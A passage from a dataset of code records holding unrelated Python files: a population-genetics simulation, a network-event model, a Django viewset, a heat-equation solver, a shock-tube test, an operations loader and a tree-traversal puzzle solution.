F2_fit1[i]\n\t\t\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\t\t\tF2_fit[i] = F2_fit2[i]\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\n\t\t\t\t\t\t\t\t\t\t# reshape the fitness array. only 1 column. \n\t\t\t\t\t\t\t\t\t\tF2_fit = np.reshape(F2_fit, (len(F2_fit), 1))\n\n\t\t\t\t\t\t\t\t\t\t#FIND EVERYONE'S DISTANCE TO BOTH PARENTAL OPTIMA (without using the fitness function)\n\t\t\t\t\t\t\t\t\t\t#F1 HYBRIDS\n\t\t\t\t\t\t\t\t\t\ttheta1_remade = np.tile(theta1, len(hybrid_pheno)).reshape(len(hybrid_pheno), n)\n\t\t\t\t\t\t\t\t\t\ttheta2_remade = np.tile(theta2, len(hybrid_pheno)).reshape(len(hybrid_pheno), n)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t#first parental optimum - theta1 \n\t\t\t\t\t\t\t\t\t\tF1_dist1 = np.array([])\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(hybrid_pheno):\n\t\t\t\t\t\t\t\t\t\t\tpoint = np.linalg.norm(hybrid_pheno[i] - theta1_remade[i])\n\t\t\t\t\t\t\t\t\t\t\tF1_dist1 = np.append(F1_dist1, point)\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t\t\t\tF1_dist1 = F1_dist1.reshape(len(hybrid_pheno), 1)\n\n\t\t\t\t\t\t\t\t\t\t#second parental optimum - theta2 \n\t\t\t\t\t\t\t\t\t\tF1_dist2 = np.array([])\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(hybrid_pheno):\n\t\t\t\t\t\t\t\t\t\t\tpoint = np.linalg.norm(hybrid_pheno[i] - theta2_remade[i])\n\t\t\t\t\t\t\t\t\t\t\tF1_dist2 = np.append(F1_dist2, point)\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t\t\t\tF1_dist2 = F1_dist2.reshape(len(hybrid_pheno), 1)\n\n\t\t\t\t\t\t\t\t\t\t#go through all the values and pick the greater one. save these values to a new array \n\t\t\t\t\t\t\t\t\t\t#make a random array. we will replace the values here with the actual distance values in the following loop: \n\t\t\t\t\t\t\t\t\t\tF1_dist_calc = np.ones(len(F1_dist1))\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(F1_dist1):\n\t\t\t\t\t\t\t\t\t\t\tif F1_dist1[i] > F1_dist2[i]:\n\t\t\t\t\t\t\t\t\t\t\t\tF1_dist_calc[i] = F1_dist1[i]\n\t\t\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\t\t\tF1_dist_calc[i] = F1_dist2[i]\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\n\t\t\t\t\t\t\t\t\t\t#F2 HYBRIDS\n\t\t\t\t\t\t\t\t\t\t#first parental optimum - theta1 \n\t\t\t\t\t\t\t\t\t\tF2_dist1 = np.array([])\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(F2_phenotype):\n\t\t\t\t\t\t\t\t\t\t\tpoint = np.linalg.norm(F2_phenotype[i] - theta1_remade[i])\n\t\t\t\t\t\t\t\t\t\t\tF2_dist1 = np.append(F2_dist1, point)\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t\t\t\tF2_dist1 = F2_dist1.reshape(len(F2_phenotype), 1)\n\n\t\t\t\t\t\t\t\t\t\t#second parental optimum - theta2 \n\t\t\t\t\t\t\t\t\t\tF2_dist2 = np.array([])\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(F2_phenotype):\n\t\t\t\t\t\t\t\t\t\t\tpoint = np.linalg.norm(F2_phenotype[i] - theta2_remade[i])\n\t\t\t\t\t\t\t\t\t\t\tF2_dist2 = np.append(F2_dist2, point)\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\t\t\t\t\t\t\t\t\t\tF2_dist2 = F2_dist2.reshape(len(F2_phenotype), 1)\n\n\t\t\t\t\t\t\t\t\t\t#go through all the values and pick the greater one. save these values to a new array \n\t\t\t\t\t\t\t\t\t\t#make a random array. we will replace the values here with the actual distance values in the following loop: \n\t\t\t\t\t\t\t\t\t\tF2_dist_calc = np.ones(len(F2_dist1))\n\t\t\t\t\t\t\t\t\t\ti = 0 \n\t\t\t\t\t\t\t\t\t\twhile i < len(F2_dist1):\n\t\t\t\t\t\t\t\t\t\t\tif F2_dist1[i] > F2_dist2[i]:\n\t\t\t\t\t\t\t\t\t\t\t\tF2_dist_calc[i] = F2_dist1[i]\n\t\t\t\t\t\t\t\t\t\t\telse: \n\t\t\t\t\t\t\t\t\t\t\t\tF2_dist_calc[i] = F2_dist2[i]\n\t\t\t\t\t\t\t\t\t\t\ti += 1\n\n\t\t\t\t\t\t\t\t\t\t#######################\n\t\t\t\t\t\t\t\t\t\t# SAVE THE DATA \n\t\t\t\t\t\t\t\t\t\t#######################\n\n\t\t\t\t\t\t\t\t\t\t# reshape the fitness arrays. only 1 column. \n\t\t\t\t\t\t\t\t\t\th_fit = np.reshape(h_fit, (len(h_fit), 1))\n\n\t\t\t\t\t\t\t\t\t\tw1 = np.reshape(w1, (len(w1), 1))\n\t\t\t\t\t\t\t\t\t\tw2 = np.reshape(w2, (len(w2), 1))\n\n\t\t\t\t\t\t\t\t\t\tk = 0 \n\t\t\t\t\t\t\t\t\t\twhile k < len(hybrid_pheno):\n\t\t\t\t\t\t\t\t\t\t\tpevolist = np.vstack((pevolist, pevo_adapt))\n\t\t\t\t\t\t\t\t\t\t\tk += 1\n\n\t\t\t\t\t\t\t\t\t\tpevolist = np.delete(pevolist, 0, axis = 0)\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# SAVE PHENO DATA / PHENOTYPES \n\t\t\t\t\t\t\t\t\t\tpheno_data = np.column_stack([np.array([i+1 for i in range(len(hybrid_pheno))]), np.array([rep+1]*len(hybrid_pheno)), np.array([round(angles[j]*180/math.pi,2)]*len(hybrid_pheno)), np.array([opt_dist * (2*(1-math.cos(angles[j])))**(0.5)]*len(hybrid_pheno)), np.reshape(np.repeat(h, np.shape(hybrid_pheno)[0], axis = 0), np.shape(hybrid_pheno)[0], 1), \n\t\t\t\t\t\t\t\t\t\t\tnp.reshape(np.repeat(alpha_adapt, np.shape(hybrid_pheno)[0], axis = 0), np.shape(hybrid_pheno)[0], 1), phenos1, phenos2, hybrid_pheno, F2_phenotype, pevolist])\n\t\t\t\t\t\t\t\t\t\tnp.savetxt(fileHandle_B, pheno_data, fmt = '%.3f', delimiter = ',')\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# SAVE THE H VALUES / SUMMARY \n\t\t\t\t\t\t\t\t\t\tsum_data = np.column_stack(np.array(([round(angles[j]*180/math.pi,2), rep+1, np.round(opt_dist * (2*(1-math.cos(angles[j])))**(0.5), 3), phenos1_1, phenos1_2, phenos2_1, phenos2_2, hybrid_phenos1, hybrid_phenos2, F2_phenos_1, F2_phenos_2, np.round(h_averaged, 3), h_fixed_mean, u_adapt, sigma_adapt, alpha_adapt, opt_dist, kenmet, pevo_adapt])))\n\t\t\t\t\t\t\t\t\t\tnp.savetxt(fileHandle_A, sum_data, fmt = '%.3f', delimiter = ',') \n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t# SAVE THE MUT SUMMARY / ADAPTATION\n\t\t\t\t\t\t\t\t\t\tadapt_summary = np.vstack((adapt_summary_data))\n\t\t\t\t\t\t\t\t\t\tnp.savetxt(fileHandle_C, adapt_summary, fmt = '%.3f', delimiter = ',')\n\n\t\t\t\t\t\t\t\t\t\t#SAVE THE FITNESS VALUES \n\t\t\t\t\t\t\t\t\t\t#put the other data in the correct format\n\t\t\t\t\t\t\t\t\t\ta = np.reshape(np.repeat(N_adapt, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\tb = np.reshape(np.repeat(sigma_adapt, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\tc = np.reshape(np.repeat(u_adapt, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\td = np.reshape(np.repeat(alpha_adapt, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\te = np.reshape(np.repeat(opt_dist, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\tf = np.reshape(np.repeat(round(angles[j]*180/math.pi,2), np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\tg = np.reshape(np.repeat(h, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\ti = np.reshape(np.repeat(rep+1, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\t\t\t\t\t\t\t\t\t\tq = np.reshape(np.repeat(pevo_adapt, np.shape(w1)[0], axis = 0), np.shape(w1)[0], 1)\n\n\t\t\t\t\t\t\t\t\t\tfitness_sum = np.column_stack((i, f, w1, w2, h_fit, F2_fit, g, a, b, c, d, e, F1_dist1, F1_dist2, F1_dist_calc, F2_dist1, F2_dist2, F2_dist_calc, q))\n\t\t\t\t\t\t\t\t\t\t# np.savetxt(fileHandle_D, fitness_sum, fmt = '%.3f', delimiter = ',')\n\n\t\t\t\t\t\t\t\t\t\t#CREATE THE FITNESS ARRAY \n\t\t\t\t\t\t\t\t\t\t#calculate the mean fitnesses \n\t\t\t\t\t\t\t\t\t\tw1_mean = np.mean(fitness_sum[:, 2].reshape(np.shape(fitness_sum)[0], 1), axis = 0)\n\t\t\t\t\t\t\t\t\t\tw2_mean = np.mean(fitness_sum[:, 3].reshape(np.shape(fitness_sum)[0], 1), axis = 0)\n\t\t\t\t\t\t\t\t\t\thF1_fit_mean = np.mean(fitness_sum[:, 4].reshape(np.shape(fitness_sum)[0], 1), axis = 0)\n\t\t\t\t\t\t\t\t\t\thF2_fit_mean = np.mean(fitness_sum[:, 5].reshape(np.shape(fitness_sum)[0], 1), axis = 0)\n\n\t\t\t\t\t\t\t\t\t\tfit_mean = np.column_stack((rep+1, np.round(angles[j]*180/math.pi,2), w1_mean, w2_mean, hF1_fit_mean, hF2_fit_mean, h, N_adapt, sigma_adapt, u_adapt, alpha_adapt, opt_dist, n, pevo_adapt)) # , (round(angles[j]*180/math.pi,2), N_adapt, sigma_adapt, u_adapt, alpha_adapt, opt_dist, n)))\n\t\t\t\t\t\t\t\t\t\tnp.savetxt(fileHandle_E, fit_mean, fmt = '%.3f', delimiter = ',')\n\n\t\t\t\t\t\t\t\t\t\t# print an update\n\t\t\t\t\t\t\t\t\t\tif h == 9:\n\t\t\t\t\t\t\t\t\t\t\tprint('N = %d, sigma = %.3f, u = %.3f, alpha = %.3f, opt_dist = %.2f, n=%d, angle=%r, rep=%d, h=%d, pevo=%0.1f, KM=%0.1f' %(N_adapt, sigma_adapt, u_adapt, alpha_adapt, opt_dist, n, round(angles[j]*180/math.pi,2), rep+1, h, pevo_adapt, kenmet)) \n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tprint('N = %d, sigma = %.3f, u = %.3f, alpha = %.3f, opt_dist = %.2f, n=%d, angle=%r, rep=%d, h=%s, pevo=%0.1f, KM=%0.1f' %(N_adapt, sigma_adapt, u_adapt, alpha_adapt, opt_dist, n, round(angles[j]*180/math.pi,2), rep+1, h, pevo_adapt, kenmet)) \n\n\t\t\t\t\t\t\t\t\t\t#go to the next pevo value\n\t\t\t\t\t\t\t\t\t\ti_pevo += 1 \n\n\t\t\t\t\t\t\t\t\t# go to next rep\n\t\t\t\t\t\t\t\t\trep += 1\n\n\t\t\t\t\t\t\t\t#go to next optimum\n\t\t\t\t\t\t\t\tj += 1\n\n\t\t\t\t\t\t\t#next dimension\n\t\t\t\t\t\t\tl += 1\n\n\t\t\t\t\t\t#next opt_dist\n\t\t\t\t\t\ti_opt_dist += 1 \n\t\t\t\t\t\t\n\t\t\t\t\t\t#next u_adapt \n\t\t\t\t\t\t# i_u += 1 \t\n\t\t\t\t\t\t\n\t\t\t\t\t#next alpha_adapt value\n\t\t\t\t\ti_alpha += 1\n\n\t\t\t\t#go to next sigma value\n\t\t\t\ti_sigma += 1\n\n\t\t\t#go to the next h value \n\t\t\ti_dom += 1\n\n\t\t#go to next N value\n\t\ti_N += 1\n\n\t#clean up\n\tclose_output_files(fileHandle_A)\n\tclose_output_files(fileHandle_B)\n\tclose_output_files(fileHandle_C)\n\t# close_output_files(fileHandle_D)\n\tclose_output_files(fileHandle_E)\n\n\t# add header to the files (column names)\n\tos.chdir('/Users/student/Desktop/asli/summer-2019/data_done')\n\n\t#summary\n\tsim_id = '_n%s_N%s_alpha%s_sigma%s_opt_dist%s_dom%s_pevo%s' %(ns, N_adapts, alpha_adapts, sigma_adapts, opt_dists, dom, pevo)\n\n\tdf_summary = pd.read_csv(\"mutsummary%s.csv\" %(sim_id), header = None)\n\tdf_summary.columns = ['angle', 'reps', 'opt_dist', 'phenos1_1', 'phenos1_2', 'phenos2_1', 'phenos2_2', 'F1_phenos1', 'F1_phenos2', 'F2_phenos1', 'F2_phenos2', 'h_mean', 'h_fixed_mean', 'u', 'sigma', 'alpha', 'opt_dist', 'kenmet', 'pevo'] \n\tdf_summary.to_csv(\"mutsummary%s.csv\" %(sim_id))\n\n\t#adaptation\n\tdf_adapt = pd.read_csv(\"adaptation%s.csv\" %(sim_id), header = None)\n\tdf_adapt.columns = ['pop1_or_pop2', 'freq_overall', 'mut_n1_overall', 'mut_n2_overall', 'h_overall'] \n\tdf_adapt.to_csv(\"adaptation%s.csv\" %(sim_id))\n\n\t#phenotypes\n\tdf_pheno = pd.read_csv(\"phenotypes%s.csv\" %(sim_id), header = None)\n\tdf_pheno.columns = ['individuals', 'reps', 'angle', 'opt_dist', 'h', 'alpha', 'phenos1_1', 'phenos1_2', 'phenos2_1', 'phenos2_2', 'F1_hybrid_phenos1', 'F1_hybrid_phenos2', 'F2_hybrid_phenos1', 'F2_hybrid_phenos2', 'pevo']\n\tdf_pheno.to_csv(\"phenotypes%s.csv\" %(sim_id))\n\n\t#individual fitness\n\t# df_fitness = pd.read_csv(\"fitness%s.csv\" %(sim_id), header = None)\n\t# df_fitness.columns = ['rep', 'angle', 'parent1', 'parent2', 'F1', 'F2', 'h', 'N', 'sigma', 'u', 'alpha', 'opt_dist', 'F1_dist1', 'F1_dist2', 'F1_dist_calc', 'F2_dist1', 'F2_dist2', 'F2_dist_calc', 'pevo']\n\t# df_fitness.to_csv(\"fitness%s.csv\" %(sim_id))\n\n\t#fitMean\n\tdf_fitMean = pd.read_csv(\"fitMean%s.csv\" %(sim_id), header = None)\n\tdf_fitMean.columns = ['rep', 'angle', 'parent1', 'parent2', 'F1', 'F2', 'h', 'N', 'sigma', 'u', 'alpha', 'opt_dist', 'n', 'pevo']\n\tdf_fitMean.to_csv(\"fitMean%s.csv\" %(sim_id))\n\n\n\n\t\t\n######################################################################\n##RUNNING ADAPTATION FUNCTION##\n###################################################################### \n\nstart = time.time()\nmain()\nend = time.time()\nprint('this took %.2f seconds to complete' %(end-start))","sub_path":"scripts/MainTextSims.py","file_name":"MainTextSims.py","file_ext":"py","file_size_in_byte":50908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"6229617","text":"# -*- coding: utf-8 -*-\n##----------------------------------------------------------------------\n## ActiveEvent model\n##----------------------------------------------------------------------\n## Copyright (C) 2007-2013 The NOC Project\n## See LICENSE for details\n##----------------------------------------------------------------------\n\n## Python modules\nimport datetime\n## Django modules\nfrom django.template import Template, Context\n## Third-party modules\nfrom mongoengine import document, fields\n## NOC modules\nfrom eventlog import EventLog\nfrom eventclass import EventClass\nfrom noc.sa.models.managedobject import ManagedObject\nfrom noc.lib import nosql\nfrom noc.lib.dateutils import total_seconds\n\n\nclass ActiveEvent(document.Document):\n \"\"\"\n Event in the Active state\n \"\"\"\n meta = {\n \"collection\": \"noc.events.active\",\n \"allow_inheritance\": False,\n \"indexes\": [\n \"timestamp\", \"discriminator\", \"alarms\",\n (\"timestamp\", \"event_class\", \"managed_object\")\n ]\n }\n status = \"A\"\n # Fields\n timestamp = fields.DateTimeField(required=True)\n managed_object = nosql.ForeignKeyField(ManagedObject, required=True)\n event_class = nosql.PlainReferenceField(EventClass, required=True)\n start_timestamp = fields.DateTimeField(required=True)\n repeats = fields.IntField(required=True)\n raw_vars = nosql.RawDictField()\n resolved_vars = nosql.RawDictField()\n vars = fields.DictField()\n log = fields.ListField(fields.EmbeddedDocumentField(EventLog))\n discriminator = fields.StringField(required=False)\n alarms = fields.ListField(nosql.ObjectIdField())\n\n def __unicode__(self):\n return u\"%s\" % self.id\n\n def mark_as_new(self, message=None):\n \"\"\"\n Move to new queue\n \"\"\"\n if message is None:\n message = \"Reclassification requested\"\n log = self.log + [EventLog(timestamp=datetime.datetime.now(),\n from_status=\"A\", to_status=\"N\",\n message=message)]\n e = NewEvent(id=self.id, timestamp=self.timestamp,\n managed_object=self.managed_object,\n raw_vars=self.raw_vars,\n log=log)\n e.save()\n self.delete()\n return e\n\n def mark_as_failed(self, version, traceback):\n \"\"\"\n Move event into noc.events.failed\n \"\"\"\n message = \"Failed to classify on NOC version %s\" % version\n log = self.log + [EventLog(timestamp=datetime.datetime.now(),\n from_status=\"N\", to_status=\"F\",\n message=message)]\n e = FailedEvent(id=self.id, timestamp=self.timestamp,\n managed_object=self.managed_object,\n raw_vars=self.raw_vars, version=version,\n traceback=traceback, log=log)\n e.save()\n self.delete()\n return e\n\n def mark_as_archived(self, message):\n log = self.log + [EventLog(timestamp=datetime.datetime.now(),\n from_status=\"A\", to_status=\"S\",\n message=message)]\n e = ArchivedEvent(\n id=self.id,\n timestamp=self.timestamp,\n managed_object=self.managed_object,\n event_class=self.event_class,\n start_timestamp=self.start_timestamp,\n repeats=self.repeats,\n raw_vars=self.raw_vars,\n resolved_vars=self.resolved_vars,\n vars=self.vars,\n log=log,\n alarms=self.alarms\n )\n e.save()\n self.delete()\n return e\n\n def drop(self):\n \"\"\"\n Mark event to be dropped. Only for use from event trigger pyrule.\n All further operations on event may lead to unpredictable results.\n Event actually deleted by noc-classifier\n \"\"\"\n self.id = None\n\n @property\n def to_drop(self):\n \"\"\"\n Check event marked to be dropped\n \"\"\"\n return self.id is None\n\n def log_message(self, message):\n self.log += [EventLog(timestamp=datetime.datetime.now(),\n from_status=self.status, to_status=self.status,\n message=message)]\n self.save()\n\n def log_suppression(self, timestamp):\n \"\"\"\n Increate repeat count and update timestamp, if required\n \"\"\"\n self.repeats += 1\n if timestamp > self.timestamp:\n self.timestamp = timestamp\n self.save()\n\n @property\n def duration(self):\n \"\"\"\n Logged event duration in seconds\n \"\"\"\n return total_seconds(self.timestamp - self.start_timestamp)\n\n def get_template_vars(self):\n \"\"\"\n Prepare template variables\n \"\"\"\n vars = self.vars.copy()\n vars.update({\"event\": self})\n return vars\n\n @property\n def subject(self):\n ctx = Context(self.get_template_vars())\n s = Template(self.event_class.subject_template).render(ctx)\n if len(s) >= 255:\n s = s[:125] + \" ... \" + s[-125:]\n return s\n\n @property\n def body(self):\n ctx = Context(self.get_template_vars())\n s = Template(self.event_class.body_template).render(ctx)\n return s\n\n @property\n def managed_object_id(self):\n \"\"\"\n Hack to return managed_object.id without SQL lookup\n \"\"\"\n o = self._data[\"managed_object\"]\n if type(o) in (int, long):\n return o\n return o.id\n\n## Avoid circular references\nfrom newevent import NewEvent\nfrom failedevent import FailedEvent\nfrom archivedevent import ArchivedEvent\n","sub_path":"fm/models/activeevent.py","file_name":"activeevent.py","file_ext":"py","file_size_in_byte":5729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"108642842","text":"from django.shortcuts import render\nfrom rest_framework import viewsets, generics\nfrom rest_framework.decorators import action\nfrom rest_framework.response import Response\nfrom frigobar.models.item import Item\nfrom frigobar.serializers.itemSerializer import ItemSerializer, ItemProductSerializer, ItemConsumedUserSerializer\nfrom django_filters import rest_framework as filters\n\nclass ItemFilters(filters.FilterSet):\n\n class Meta:\n model = Item\n fields = {\n 'order__date': ['lte','gte']\n }\n\nclass ItemViewSet(viewsets.ModelViewSet):\n queryset = Item.objects.all()\n serializer_class = ItemSerializer\n filterset_class = ItemFilters\n\n @action(\n methods=[\"get\"],\n detail=False,\n url_path=\"byOrder/(?P[^/.]+)\",\n )\n def get_itemsOrder(self, request, order_id):\n items = self.get_queryset().filter(order_id=order_id)\n serializer = ItemProductSerializer(items, many=True)\n return Response(data=serializer.data)\n\n @action(\n methods=[\"get\"],\n detail=False,\n url_path=\"byUser/(?P[^/.]+)\"\n )\n def get_fromUser(self, request, user_id):\n items = self.filter_queryset(self.get_queryset().filter(order__user_id=user_id))\n serializer = ItemConsumedUserSerializer(items, many=True)\n return Response(data=serializer.data)\n","sub_path":"server/frigobar/views/itemView.py","file_name":"itemView.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"329455325","text":"\r\n#Purpose: Numerically approximate heat transfer.\r\n#PDE Used: 'heat equation' du/dt = c^2 * ddu/dx^2\r\n#Method of solution: Explicit method\r\n\r\n#Physical Equs: c^2 = thermal_conductivity / density * specific_heat (Not Used)\r\n\r\nimport numpy as np\r\nimport datetime\r\nfrom plot_funcs import *\r\nfrom derivative_funcs import *\r\n\r\ntime = 1\r\nnx = 200\r\nxmin = 0\r\nxmax = 10\r\n\r\ndx = (xmax - xmin) / (nx - 1)\r\nx = np.linspace(xmin, xmax, nx)\r\ndt = 0.95*(dx**2 * 0.5)\t\t#Must satisfy: dt <= 0.5 * dx^2\r\nnt = int(time/dt)\r\nprint(\"Time step: \"+str(dt))\r\nprint(\"Running for: \"+str(nt)+\" steps\")\r\n\t\r\n#Boundary Conditions\r\nu_lower_bc = 0.0\r\nu_upper_bc = 0.0\r\n\r\n#Initial Conditions\r\nu = np.zeros([nx], dtype=np.float64)\r\nu_new = np.zeros([nx], dtype=np.float64)\r\nfor n in range(int(nx/2)-int(nx/8) , int(nx/2)+int(nx/8) ):\r\n\tu[n] = 2.0\r\nstart_time = datetime.datetime.now()\r\n\r\n#Time-iteration loop\r\nfor ct in range(0, nt):\r\n\tif nt%100==0:\r\n\t\tprint(\"Computing time step: \"+str(nt))\r\n\t\r\n\tdu2_dx2 = derivative_1d(derivative_1d(u,x),x)\r\n\tu_new[0] = u_lower_bc\r\n\tfor cx in range(1, nx-1):\t\t#Iterate over x\r\n\t\tu_new[cx] = u[cx] + dt*du2_dx2[cx]\r\n\t\r\n\tu_new[-1] = u_upper_bc\r\n\tu = u_new\r\n\r\ntotal_time = (datetime.datetime.now()-start_time).total_seconds()\r\nprint(\"Total run time: \"+str(total_time)+\" seconds\")\r\n\r\nplot_scalar_1d(x,u,title=\"Heat Equation Evaluated with Central Difference Scheme\", label_x=\"X\", label_u=\"U\")\r\n\r\n","sub_path":"diffusion_1d.py","file_name":"diffusion_1d.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"652827280","text":"import sys, os\nsys.path.append('../../') #get rid of this at some point with central test script or when package is built\nos.chdir('../../')\n\nimport MSI.simulations.instruments.shock_tube as st\nimport MSI.cti_core.cti_processor as pr\nimport cantera as ct\n\ntest_p = pr.Processor('MSI/data/test_data/FFCM1.cti')\ntest_tube = st.shockTube(pressure=1.74,\n temperature=1880,\n observables=['OH','H2O'],\n kineticSens=1,\n physicalSens=0,\n conditions={'H2O':.013,'O2':.0099,'H':.0000007,'Ar':0.9770993},\n initialTime=0,\n finalTime=0.1,\n thermalBoundary='Adiabatic',\n mechanicalBoundary='constant pressure',\n processor=test_p,\n save_timeHistories=1,\n save_physSensHistories=1)\ntest_tube.run()\ntest_tube.species_adjustment(.01)\n\ndata = test_tube.interpolate_species_adjustment()\nprint(data)\n","sub_path":"tests/shock_tube_species_interpolate_test.py","file_name":"shock_tube_species_interpolate_test.py","file_ext":"py","file_size_in_byte":1067,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"566964492","text":"from __future__ import print_function\nimport os\nimport pkgutil\nimport importlib\nfrom collections import OrderedDict\n\nimport yaml\n\nfrom .. import pawstools\n\n# check for an ops.cfg (yaml) file\ncfg_file = os.path.join(pawstools.paws_cfg_dir,'ops.cfg')\nif os.path.exists(cfg_file):\n load_flags = pawstools.load_cfg(cfg_file)\nelse:\n load_flags = OrderedDict() \n \ndef save_config():\n \"\"\"\n Call save_config() before closing \n to save the state of which ops are enabled/disabled.\n \"\"\"\n # Order the load flags using load_keys...\n od_load_flags = OrderedDict()\n for k in load_keys:\n od_load_flags[k] = load_flags[k]\n pawstools.save_cfg(od_load_flags,cfg_file)\n\n# Keep track of keys that get loaded in this run.\n# These keys are used to remove load_flags automatically\n# in case Operations or categories have been renamed or removed.\nload_keys = []\n\ndef update_load_flags():\n for k in load_flags.keys():\n if not k in load_keys:\n load_flags.pop(k)\n\ndef load_ops_from_path(path_,pkg,cat_root=''):\n ops = []\n cats = []\n # pkgutil.iter_modules returns module_loader, module_name, ispkg forall modules in path\n mods = pkgutil.iter_modules(path_)\n mods = [mod for mod in mods if mod[1] not in ['__init__','Operation','OpManager','optools','DMZ']]\n for modloader, modname, ispkg in mods:\n if cat_root == '':\n mod_root = modname \n else:\n mod_root = cat_root+'.'+modname\n load_keys.append(mod_root)\n if mod_root in load_flags.keys():\n load_mod = bool(load_flags[mod_root])\n else:\n # NOTE: This line determines whether or not \n # newly arrived modules should be loaded by default.\n load_mod = False\n #\n #load_mod = True\n #\n load_flags[mod_root] = load_mod\n # if it is a package, recurse\n if ispkg:\n pkg_path = [os.path.join(path_[0],modname)]\n pkg_ops, pkg_cats = load_ops_from_path(pkg_path,pkg+'.'+modname,mod_root)\n pkg_ops = [op for op in pkg_ops if not op in ops]\n pkg_cats = [cat for cat in pkg_cats if not cat in cats]\n ops = ops + pkg_ops\n cats = cats + pkg_cats\n else:\n # assume that there is an Operation in this module\n # whose class name is the same as the module name.\n ops.append( (cat_root,modname) )\n if not cat_root in cats:\n cats.append(cat_root)\n return ops, cats\n #if load_mod:\n # # Assume Operation name is same as module name.\n # # Get the operation from the module.\n # # TODO: Handle any ImportErrors or AttributeErrors.\n # mod = importlib.import_module('.'+modname,pkg)\n # op = getattr(mod,modname)\n #try:\n # ops.append( (cat_root,op) )\n # if not cat_root in cats:\n # cats.append(cat_root)\n #except AttributeError as ex:\n # pass\n # msg = str('Failed to load Operation subclass {} '.format(modname)\n # + 'from module of the same name. Error message: '+ ex.message\n # + '\\nTo load an Operation, '\n # + 'ensure the Operation subclass '\n # + 'has the same name as its .py module file')\n # print(msg)\n\ndef disable_ops(disable_root):\n # get all keys that contain disable_root\n disable_keys = [k for k in load_flags.keys() if disable_root in k]\n for k in disable_keys:\n load_flags[k] = False \n\n#print(load_flags)\n\ncat_op_list, cat_list = load_ops_from_path(__path__,__name__)\n\nupdate_load_flags()\n\n#op = load_op_from_module(mod,cat_root)\n#mod_ops, mod_cats = load_ops_from_module(mod,cat_root)\n#mod_ops = [op for op in mod_ops if not op in ops]\n#mod_cats = [cat for cat in mod_cats if not cat in cats]\n#ops = ops + mod_ops\n#cats = cats + mod_cats\n\n#def load_op_from_module(mod,cat_root):\n # Get the operation from the module:\n # assume Operation name is same as module name\n #op = getattr(mod,mod)\n #ops = []\n #cats = []\n #for nm, itm in mod.__dict__.items():\n # try:\n # # is it a class?\n # if isinstance(itm,type):\n # # is it a non-abstract subclass of Operation?\n # if issubclass(itm,Operation) and not nm in ['Operation','Realtime','Batch']:\n # op = getattr(mod,nm)\n # ops.append( (cat_root,op) )\n # if not cat_root in cats:\n # cats.append(cat_root)\n # #load_flags[cat_root] = True\n # #load_keys.append(cat_root)\n # #cat = cat_root\n # parent_cats_done = False\n # while not parent_cats_done:\n # if not cat.rfind('.') == -1:\n # parcat = cat[:cat.rfind('.')]\n # if not parcat in cats:\n # cats.append(parcat)\n # load_keys.append(parcat)\n # cat = parcat\n # else:\n # parent_cats_done = True\n # load_flags[nm] = True\n # load_keys.append(nm)\n # except ImportError as ex:\n # print '[{}] had trouble dealing with {}: {}'.format(__name__,name,item)\n # print 'Error text: {}'.format(ex.message)\n # pass \n #return ops, cats\n\n\n\n","sub_path":"paws/core/operations/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"80499822","text":"#못푼 문제 꼭 다시 풀것\n#https://www.hamadevelop.me/algorithm-kakao2019/\nimport sys\nsys.setrecursionlimit(10**6) \n\npreorder = list()\npostorder = list()\n\ndef solution(nodeinfo):\n \n levels = sorted(list({x[1] for x in nodeinfo}), reverse=True) \n nodes = sorted(list(zip(range(1, len(nodeinfo)+1),nodeinfo) ), key= lambda x: (-x[1][1], x[1][0])) \n order(nodes, levels, 0)\n\n return [preorder, postorder]\n\ndef order(nodeList, levels, curLevel):\n n = nodeList[:]\n cur = n.pop(0)\n 